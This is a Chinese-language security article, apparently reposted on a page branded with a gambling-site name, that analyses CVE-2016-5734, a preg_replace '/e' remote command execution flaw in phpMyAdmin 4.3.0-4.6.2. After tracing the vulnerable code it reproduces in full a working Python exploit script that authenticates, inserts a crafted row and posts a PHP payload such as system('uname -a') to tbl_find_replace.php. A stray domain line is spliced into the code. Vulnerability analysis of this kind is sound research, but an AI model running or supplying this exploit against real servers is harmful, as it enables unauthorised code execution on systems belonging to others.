preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞-华盟网 - 澳门威尼斯人平台官网

澳门威尼斯人平台官网

华盟学院山东省第二期线下学习计划

这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞,漏洞在exploit-db上有利用脚本,经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。

0x01 漏洞触发原理

preg_replace漏洞触发有两个前提:

01:第一个参数需要e标识符,有了它可以执行第二个参数的命令

02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:


0x02 触发漏洞位置回溯

cve-2016-5734的漏洞问题出现在TableSearch.class.php中的_getRegexReplaceRows函数,让我们看看这个函数:

$find ,和 $replaceWith可以看到在preg_replace中被引用,让我们回溯这两个变量,在getReplacePreview中有调用_getRegexReplaceRows函数

继续回溯,在tbl_find_replace中有调用getReplacePreview,同时参数是post传入,下面让我们看看如何利用构造

0x03 构造利用

漏洞利用思路:这个漏洞目前没法直接利用,因为有token限制,需要登陆抓到token,同时需要构造第三个参数保证和第一个参数匹配上,第一个参数可控,但是第三个参数是从数据库中取出的,所以只能提前插入到数据库中,然后再取出来,columnIndex是取出字段值的可控,所以第三个参数也可控了。

流程大概走了一圈,下面看看怎么构造,首先这个漏洞需要有创建表插入字段权限的账号,这里直接用的root账号测试的,先创建个表,然后表中插入个字段值为"0/e"

所以利用构造大概就是这样

组合后是这样//preg_replace('/0/e','phpinfo()','0/e');,这样漏洞就构造好了。

总结:这个pre_replace引发的漏洞在PHP版本4.3.0-5.4.6中能触发,PHP 5.4.7后就不行了。phpmyadmin4.6.3中修复了这个漏洞,所以要尽快升级。漏洞影响范围:PhpMyAdmin 4.3.0 - 4.6.2

0x04 漏洞EXP

#!/usr/bin/env python
# cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit

# Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.

# CVE: CVE-2016-5734

# Author: https://twitter.com/iamsecurity

# run: ./cve-2016-5734.py -u root --pwd='' http://localhost/pma -c "system('ls -lua');"

# https://www.exploit-db.com/exploits/40185/

import requests

import argparse

import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':

    parser = argparse.ArgumentParser()

    parser.add_argument("url", type=str, help="URL with path to PMA")

    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")

    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")

    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")

    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")

    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")

    arguments = parser.parse_args()

    url_to_pma = arguments.url

    uname = arguments.user

    upass = arguments.pwd

    if arguments.dbs:

        db = arguments.dbs

    else:

        db = "test"

    token = False

    custom_table = False

    if arguments.table:

        custom_table = True

        table = arguments.table

    else:

        table = "prgpwn"

    if arguments.cmd:

        payload = arguments.cmd

    else:

        payload = "system('uname -a');"

    size = 32

    s = requests.Session()

    # you can manually add proxy support it's very simple 😉

    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}

    s.verify = False

    sql = '''CREATE TABLE `{0}` (

      `first` varchar(10) CHARACTER SET utf8 NOT NULL

    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));

    '''.format(table)

    # get_token

    resp = s.post(url_to_pma + "/?lang=en", dict(

        pma_username=uname,

        pma_password=upass

    ))

    if resp.status_code is 200:

        token_place = resp.text.find("token=") + 6

        token = resp.text[token_place:token_place + 32]

    if token is False:

        print("Cannot get valid authorization token.")

        sys.exit(1)

    if custom_table is False:

        data = {

            "is_js_confirmed": "0",

            "db": db,

            "token": token,

            "pos": "0",

            "sql_query": sql,

            "sql_delimiter": ";",

            "show_query": "0",

            "fk_checks": "0",

            "SQL": "Go",

            "ajax_request": "true",

            "ajax_page_request": "true",

        }

        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))

        if resp.status_code == 200:

            if "success" in resp.json():

                if resp.json()["success"] is False:

                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]

                    error = first[:first.find("</code>")]

                    if "already exists" in error:

                        print(error)

                    else:

                        print("ERROR: " + error)

                        sys.exit(1)

    # build exploit

    exploit = {

        "db": db,

        "table": table,

        "token": token,

        "goto": "sql.php",

        "find": "0/e\0",

        "replaceWith": payload,

        "columnIndex": "0",

        "useRegex": "on",

        "submit": "Go",

        "ajax_request": "true"

    }

    resp = s.post(

        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)

    )

    if resp.status_code == 200:

        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]

        if len(result):

            print("result: " + result)

            sys.exit(0)

        print(

            "Exploit failed!\n"

            "Try to manually set exploit parameters like --table, --database and --token.\n"

            "Remember that servers with PHP version greater than 5.4.6"

            " is not exploitable, because of warning about null byte in regexp"

        )

www.idc126.com

        sys.exit(1)

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
1

发表评论